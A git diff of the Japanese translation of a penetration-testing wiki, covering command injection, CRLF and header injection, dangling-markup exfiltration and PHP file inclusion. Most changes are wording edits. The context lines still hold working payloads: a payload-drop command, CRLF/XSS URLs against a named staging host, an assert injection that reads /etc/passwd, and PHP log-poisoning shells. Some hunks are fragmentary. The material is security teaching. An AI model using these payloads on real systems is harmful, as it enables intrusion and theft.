@@ -51,7 +49,7 @@ A really good post on CSTI in VUE can be found in [https://portswigger.net/resea ``` クレジット: [Mario Heiderich](https://twitter.com/cure53berlin) -**他のVUEペイロードを確認するには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) +**さらに多くのVUEペイロードを確認するには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) ## Mavo @@ -69,11 +67,12 @@ javascript:alert(1)%252f%252f..%252fcss-images test [self.alert(1)mod1] ``` -**さらに多くのペイロードは** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) +**さらにペイロードは** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) ## **ブルートフォース検出リスト** -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} - +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index bda364492..62dff8d0e 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,7 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - ## コマンドインジェクションとは? **コマンドインジェクション**は、攻撃者がアプリケーションをホストしているサーバー上で任意のオペレーティングシステムコマンドを実行することを許可します。その結果、アプリケーションとそのすべてのデータが完全に危険にさらされる可能性があります。これらのコマンドの実行により、攻撃者はアプリケーションの環境や基盤となるシステムに対して不正アクセスまたは制御を得ることができます。 @@ -46,7 +45,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### パラメータ -ここに、コードインジェクションや同様のRCE脆弱性に対して脆弱である可能性のある上位25のパラメータがあります([link](https://twitter.com/trbughunters/status/1283133356922884096)から): +ここにコードインジェクションや同様のRCE脆弱性に対して脆弱である可能性のある上位25のパラメータがあります([link](https://twitter.com/trbughunters/status/1283133356922884096)から): ``` ?cmd={payload} ?exec={payload} @@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad ## ブルートフォース検出リスト -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt +{{#endref}} ## 参考文献 diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 0837f3a73..8bec947a1 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -2,8 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - - ### CRLF キャリッジリターン (CR) とラインフィード (LF) は、CRLF として知られる特別な文字列で、HTTP プロトコルで行の終わりや新しい行の開始を示すために使用されます。ウェブサーバーとブラウザは、HTTP ヘッダーとレスポンスのボディを区別するために CRLF を使用します。これらの文字は、Apache や Microsoft IIS などのさまざまなウェブサーバータイプで HTTP/1.1 通信に普遍的に使用されています。 @@ -16,15 +14,15 @@ CRLF インジェクションは、ユーザー提供の入力に CR および L [Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/) -管理パネルのログファイルが `IP - Time - Visited Path` という形式に従っているとします。典型的なエントリは次のようになります: +管理パネルのログファイルが `IP - Time - Visited Path` という形式に従っていると仮定します。典型的なエントリは次のようになります: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` -攻撃者はCRLFインジェクションを利用してこのログを操作できます。HTTPリクエストにCRLF文字を注入することで、攻撃者は出力ストリームを変更し、ログエントリを偽造することができます。例えば、注入されたシーケンスはログエントリを次のように変えるかもしれません: +攻撃者はCRLFインジェクションを利用してこのログを操作できます。HTTPリクエストにCRLF文字を挿入することで、攻撃者は出力ストリームを変更し、ログエントリを偽造することができます。例えば、挿入されたシーケンスはログエントリを次のように変えるかもしれません: ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -ここで、`%0d` と `%0a` は CR と LF の URL エンコード形式を表します。攻撃後、ログは誤解を招く形で表示されます: +ここで、`%0d` と `%0a` は CR と LF の URL エンコード形式を表します。攻撃後、ログは誤解を招くように表示されます: ``` IP - Time - Visited Path @@ -37,12 +35,12 @@ IP - Time - Visited Path #### 説明 -HTTPレスポンススプリッティングは、攻撃者がHTTPレスポンスの構造を悪用することで発生するセキュリティ脆弱性です。この構造は、特定の文字列、キャリッジリターン(CR)とラインフィード(LF)を使用してヘッダーとボディを分離します。これを合わせてCRLFと呼びます。攻撃者がレスポンスヘッダーにCRLFシーケンスを挿入することに成功すると、以降のレスポンスコンテンツを効果的に操作できます。この種の操作は、特にクロスサイトスクリプティング(XSS)などの深刻なセキュリティ問題を引き起こす可能性があります。 +HTTPレスポンススプリッティングは、攻撃者がHTTPレスポンスの構造を悪用することで発生するセキュリティ脆弱性です。この構造は、特定の文字列、キャリッジリターン(CR)とラインフィード(LF)を使用してヘッダーとボディを分離します。これらは合わせてCRLFと呼ばれます。攻撃者がレスポンスヘッダーにCRLFシーケンスを挿入することに成功すると、以降のレスポンスコンテンツを効果的に操作できます。この種の操作は、特にクロスサイトスクリプティング(XSS)などの深刻なセキュリティ問題を引き起こす可能性があります。 #### HTTPレスポンススプリッティングによるXSS 1. アプリケーションは次のようなカスタムヘッダーを設定します:`X-Custom-Header: UserInput` -2. アプリケーションは、クエリパラメータ「user_input」から`UserInput`の値を取得します。適切な入力検証とエンコーディングが欠如しているシナリオでは、攻撃者はCRLFシーケンスと悪意のあるコンテンツを含むペイロードを作成できます。 +2. アプリケーションは、クエリパラメータ「user_input」から`UserInput`の値を取得します。適切な入力検証とエンコーディングが欠如しているシナリオでは、攻撃者はCRLFシーケンスを含むペイロードを作成し、その後に悪意のあるコンテンツを追加できます。 3. 攻撃者は特別に作成された'user_input'を持つURLを作成します:`?user_input=Value%0d%0a%0d%0a` - このURLでは、`%0d%0a%0d%0a`はCRLFCRLFのURLエンコード形式です。これにより、サーバーはCRLFシーケンスを挿入し、以降の部分をレスポンスボディとして扱うように仕向けます。 4. サーバーは攻撃者の入力をレスポンスヘッダーに反映させ、悪意のあるスクリプトがレスポンスボディの一部としてブラウザによって解釈される意図しないレスポンス構造を引き起こします。 @@ -70,11 +68,13 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` -{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} +{{#ref}} +https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md +{{#endref}} ### HTTPヘッダーインジェクション -HTTPヘッダーインジェクションは、CRLF(キャリッジリターンとラインフィード)インジェクションを通じて悪用されることが多く、攻撃者がHTTPヘッダーを挿入することを可能にします。これにより、XSS(クロスサイトスクリプティング)フィルターやSOP(同一生成元ポリシー)などのセキュリティメカニズムが損なわれ、CSRFトークンなどの機密データへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作につながる可能性があります。 +HTTPヘッダーインジェクションは、CRLF(キャリッジリターンとラインフィード)インジェクションを通じて悪用されることが多く、攻撃者がHTTPヘッダーを挿入することを可能にします。これにより、XSS(クロスサイトスクリプティング)フィルターやSOP(同一生成元ポリシー)などのセキュリティメカニズムが脅かされ、CSRFトークンなどの機密データへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作につながる可能性があります。 #### HTTPヘッダーインジェクションを介したCORSの悪用 @@ -82,7 +82,7 @@ HTTPヘッダーインジェクションは、CRLF(キャリッジリターン #### CRLFを介したSSRFおよびHTTPリクエストインジェクション -CRLFインジェクションは、まったく新しいHTTPリクエストを作成して挿入するために利用できます。これの顕著な例は、PHPの`SoapClient`クラスの脆弱性で、特に`user_agent`パラメータ内にあります。このパラメータを操作することで、攻撃者は追加のヘッダーやボディコンテンツを挿入したり、まったく新しいHTTPリクエストを注入したりすることができます。以下は、この悪用を示すPHPの例です: +CRLFインジェクションは、まったく新しいHTTPリクエストを作成して挿入するために利用できます。これの顕著な例は、PHPの`SoapClient`クラスの脆弱性であり、特に`user_agent`パラメータ内にあります。このパラメータを操作することで、攻撃者は追加のヘッダーやボディコンテンツを挿入したり、まったく新しいHTTPリクエストを注入したりすることができます。以下は、この悪用を示すPHPの例です: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -109,7 +109,7 @@ $client->__soapCall("test", []); ``` ### ヘッダーインジェクションによるリクエストスモグリング -この技術と潜在的な問題についての詳細は[**元のソースを確認してください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。 +この技術と潜在的な問題についての詳細は、[**元のソースを確認してください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。 重要なヘッダーをインジェクトして、**バックエンドが初期リクエストに応答した後も接続を維持する**ことを確認できます: ``` @@ -135,15 +135,15 @@ Memcacheは**クリアテキストプロトコルを使用するキー-バリュ ../network-services-pentesting/11211-memcache/ {{#endref}} -**完全な情報は**[ **元の文書**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)をお読みください。 +**完全な情報は**[ **元の文書**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **をお読みください** プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**メモリキャッシュサーバーへの**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいメモリキャッシュコマンドを注入**することができます。 -たとえば、最初に発見された脆弱性では、キャッシュキーがユーザーが接続すべきIPとポートを返すために使用され、攻撃者は**メモリキャッシュコマンドを注入**して**キャッシュを汚染し、被害者の詳細**(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信することができました: +例えば、最初に発見された脆弱性では、キャッシュキーがユーザーが接続すべきIPとポートを返すために使用され、攻撃者は**メモリキャッシュコマンドを注入**して**キャッシュを汚染し、被害者の詳細**(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信することができました:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
-さらに、研究者たちは、攻撃者が知らないユーザーのメールアドレスに対して攻撃者のIPとポートを送信するためにメモリキャッシュのレスポンスをデシンクさせることができることも発見しました: +さらに、研究者たちは、攻撃者が知らないユーザーのメールに対して攻撃者のIPとポートを送信するためにメモリキャッシュのレスポンスをデシンクさせることができることも発見しました:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
@@ -157,7 +157,7 @@ WebアプリケーションにおけるCRLF(キャリッジリターンとラ ### CHEATSHEET -[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777) +[こちらからチートシート](https://twitter.com/NinadMishra5/status/1650080604174667777) ``` 1. HTTP Response Splitting • /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie) @@ -195,6 +195,4 @@ WebアプリケーションにおけるCRLF(キャリッジリターンとラ - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) - - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 352cd4641..c8d0615f1 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -5,9 +5,9 @@ ## 概要 この技術は、**HTMLインジェクションが見つかった場合**にユーザーから情報を抽出するために使用できます。これは、**[**XSS**](../xss-cross-site-scripting/)を悪用する方法が見つからない場合**に非常に便利で、**いくつかのHTMLタグを注入できる**場合に役立ちます。\ -また、**秘密がHTML内に平文で保存されている**場合に、それをクライアントから**エクスフィルトレート**したり、スクリプトの実行を誤解させたりするのにも役立ちます。 +また、**秘密がHTML内に平文で保存されている**場合にそれをクライアントから**エクスフィルトレート**したり、スクリプトの実行を誤解させたりするのにも役立ちます。 -ここでコメントされているいくつかの技術は、情報を予期しない方法(HTMLタグ、CSS、HTTPメタタグ、フォーム、ベースなど)でエクスフィルトレートすることによって、いくつかの[**コンテンツセキュリティポリシー**](../content-security-policy-csp-bypass/)を回避するために使用できます。 +ここでコメントされた複数の技術は、情報を予期しない方法(HTMLタグ、CSS、HTTPメタタグ、フォーム、ベースなど)でエクスフィルトレートすることによって、いくつかの[**コンテンツセキュリティポリシー**](../content-security-policy-csp-bypass/)を回避するために使用できます。 ## 主なアプリケーション @@ -21,14 +21,14 @@ @import//hackvertor.co.uk? <--- Injected steal me!; ``` -**` ← Injected lines @@ -101,7 +101,7 @@ I get consumed! You must click me ← Injected markup ... Share this status update with: ← Legitimate optional element of a dialog @@ -122,7 +122,7 @@ document.getElementById('share_with').value; ... } ``` ### 誤解を招くスクリプトワークフロー 2 - スクリプトネームスペース攻撃 -HTMLタグを挿入することで、JavaScriptネームスペース内に変数を作成します。次に、この変数がアプリケーションのフローに影響を与えます: +HTMLタグを挿入することで、javascriptネームスペース内に変数を作成します。次に、この変数がアプリケーションのフローに影響を与えます: ```html ← Injected markup ... // Legitimate application code follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ← @@ -150,7 +150,7 @@ set_sharing({ ... }) ``` ### Iframeの悪用 -子ドキュメントは、クロスオリジンの状況でも親の`location`プロパティを表示および変更する能力を持っています。これにより、クライアントを任意のページにリダイレクトできる**iframe**内にスクリプトを埋め込むことが可能になります: +子文書は、クロスオリジンの状況でも親の`location`プロパティを表示および変更する能力を持っています。これにより、クライアントを任意のページにリダイレクトできる**iframe**内にスクリプトを埋め込むことが可能になります: ```html @@ -180,14 +180,14 @@ For more info check [https://portswigger.net/research/bypassing-csp-with-danglin ### \` またはリダイレクトを実行することができます(この場合は5秒後): `` +**`meta http-equiv`** を使用して、Cookieを設定するなどの**いくつかのアクション**を実行できます: `` またはリダイレクトを実行することができます(この場合は5秒後): `` -これは **http-equiv** に関する **CSP** で **回避** できます( `Content-Security-Policy: default-src 'self';` または `Content-Security-Policy: http-equiv 'self';`) +これは、**http-equiv** に関する **CSP** で**回避**できます( `Content-Security-Policy: default-src 'self';` または `Content-Security-Policy: http-equiv 'self';`) ### New \ コンポーネントが絶対パスである場合、すべての以前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。 +> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。 ## Java ディレクトリのリスト -Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限り)。 +Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限りでは)。 -## トップ 25 パラメータ +## トップ25パラメータ -ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです([link](https://twitter.com/trbughunters/status/1279768631845494787) から): +ローカルファイルインクルージョン(LFI)脆弱性に対して脆弱である可能性のあるトップ25パラメータのリストです([link](https://twitter.com/trbughunters/status/1279768631845494787) から): ``` ?cat={payload} ?dir={payload} @@ -209,23 +213,23 @@ Javaでパストラバーサルがある場合、**ファイルの代わりに ### php://filter -PHPフィルターは、データが読み込まれる前または書き込まれる前に基本的な**修正操作を実行**することを許可します。フィルターには5つのカテゴリがあります: +PHPフィルターは、データが読み込まれる前または書き込まれる前に基本的な**修正操作を実行**することを可能にします。フィルターには5つのカテゴリがあります: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` - `string.strip_tags`: データからタグを削除します("<" と ">" の間のすべて) -- このフィルターは、現代のPHPバージョンからは消えていることに注意してください +- このフィルターは、現代のPHPのバージョンからは消えています - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv..`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。 +- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv..`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。 > [!WARNING] -> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを記述したり、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。 +> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを書くためや、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に送信する場合に便利) @@ -233,7 +237,7 @@ PHPフィルターは、データが読み込まれる前または書き込ま - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : 非推奨 - `mdecrypt.*` : 非推奨 -- Other Filters +- その他のフィルター - phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**を見つけることができます: - `consumed` - `dechunk`: HTTPチャンクエンコーディングを逆転させます @@ -273,15 +277,15 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the 元の投稿には技術の詳細な説明がありますが、ここでは簡単な要約を示します: -- コーデック**`UCS-4LE`**を使用して、テキストの先頭に先行文字を置き、文字列のサイズを指数関数的に増加させます。 +- コーデック**`UCS-4LE`**を使用して、テキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。 - これは、**最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。 -- **dechunk**フィルタは、最初の文字が16進数でない場合は**すべてを削除**するため、最初の文字が16進数かどうかを知ることができます。 -- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。 -- コーデック**convert.iconv.UNICODE.CP930**は、各文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用するとa->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾によってトリガーされます。 +- **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数であるかどうかを知ることができます。 +- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数であれば、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。 +- コーデック**convert.iconv.UNICODE.CP930**は、各文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用するとa->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾とともにトリガーされます。 - **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です(他のコーデックを使用して他の文字を16進数範囲に移動させることができます)。 - 最初の文字が数字の場合、それをbase64エンコードし、数字を漏洩させるために最初の2文字を漏洩させる必要があります。 - 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。 -- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して次の2バイトと**ピボット**し、**ジャンクデータまでデータを削除**することです(これにより、初期テキストの最初の2バイトが削除されます)。これを希望するビットを漏洩させるまで続けます。 +- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して次の2バイトと**ピボット**し、**ジャンクデータまでデータを削除**することです(これにより、初期テキストの最初の2バイトが削除されます)。これを、漏洩させたいビットに到達するまで続けます。 投稿には、これを自動的に実行するツールも漏洩しています:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。 @@ -292,7 +296,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -**php://stdin、php://stdout、php://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、2**にアクセスできます(攻撃にどのように役立つかは不明です)。 +**php://stdin、php://stdout、php://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、2**にアクセスすることもできます(攻撃にどのように役立つかは不明です)。 ### zip:// と rar:// @@ -352,11 +356,11 @@ $phar->stopBuffering(); ```bash php --define phar.readonly=0 create_path.php ``` -実行時に、`test.phar`という名前のファイルが作成され、これを利用してローカルファイルインクルージョン(LFI)脆弱性を悪用する可能性があります。 +実行時に `test.phar` という名前のファイルが作成され、これを利用してローカルファイルインクルージョン (LFI) 脆弱性を悪用する可能性があります。 -LFIがファイルを読み取るだけで、PHPコードを実行しない場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または`filesize()`などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。 +LFI が PHP コードを実行せずにファイルを読み取るだけの場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または `filesize()` などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar` プロトコルを使用してファイルを読み取ることに関連しています。 -`.phar`ファイルのデシリアライズ脆弱性を悪用する詳細な理解については、以下のリンクされた文書を参照してください: +`.phar` ファイルの文脈におけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -366,32 +370,32 @@ phar-deserialization.md ### CVE-2024-2961 -**phpフィルターをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを取得することが可能でした。** 詳細な説明は[**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\ -非常に簡単な要約:PHPヒープの**3バイトオーバーフロー**が悪用され、特定のサイズのフリーチャンクのチェーンを**変更するために**、**任意のアドレスに何でも書き込むことができるように**、フックが追加されて**`system`**を呼び出しました。\ -特定のサイズのチャンクを割り当てることが可能で、さらに多くのPHPフィルターを悪用しました。 +**php フィルターをサポートする任意のファイルを PHP から読み取ることを悪用して RCE を得ることが可能でした。** 詳細な説明は [**この投稿にあります**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\ +非常に簡単な要約:PHP ヒープの **3 バイトオーバーフロー** が悪用され、特定のサイズのフリーチャンクのチェーンを **変更するために**、**任意のアドレスに何でも書き込むことができるように** され、フックが追加されて **`system`** を呼び出すようになりました。\ +特定のサイズのチャンクを割り当てることが、他の PHP フィルターを悪用して可能でした。 -### さらなるプロトコル +### その他のプロトコル ここに含める可能性のある[ **プロトコルを確認してください**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む (ファイルインクルージョン攻撃でどのように役立つかは不明) - [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス -- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URLへのアクセス -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URLへのアクセス +- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URL へのアクセス +- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URL へのアクセス - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないので、ここではあまり役に立たない) -- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける (何も印刷可能なものを返さないので、ここではあまり役に立たない) +- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル 2 +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム (任意のファイルを読むには役に立たない) -## PHPの'assert'によるLFI +## PHP の 'assert' を介した LFI -PHPにおけるローカルファイルインクルージョン(LFI)のリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。 +PHP におけるローカルファイルインクルージョン (LFI) リスクは、文字列内でコードを実行できる 'assert' 関数を扱う際に特に高くなります。これは、".." のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。 -例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります: +例えば、PHP コードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のように使用できます: +この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のような手法を使用できます: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` @@ -412,7 +416,7 @@ assert("strpos('$file', '..') === false") or die(""); 次に、最初の文字を漏洩させるためにフィルター**`dechunk`**が使用され、**base64**や**rot13**などの他のフィルターと共に使用され、最終的にフィルター**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用されて**他の文字を最初に配置して漏洩させます**。 -**脆弱である可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これを使用してターゲットを読み取り専用にする場合のみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**脆弱である可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これを使用して読み取り専用のターゲットのみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` 技術的な詳細については、前述の投稿を確認してください! @@ -427,9 +431,9 @@ assert("strpos('$file', '..') === false") or die(""); ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**内または**GETパラメータ**内に**``**のようなPHPシェルを設定し、そのファイルをインクルードすることができます。 > [!WARNING] -> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートは"_**quote;**_"という文字列に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。 +> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートは文字列"_**quote;**_"に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。 > -> また、**ペイロードを正しく記述することを確認してください**。さもなければ、PHPはログファイルを読み込もうとするたびにエラーを出し、二度とチャンスはありません。 +> また、**ペイロードを正しく記述する**ことを確認してください。さもなければ、PHPはログファイルを読み込もうとするたびにエラーを出し、二度と機会がありません。 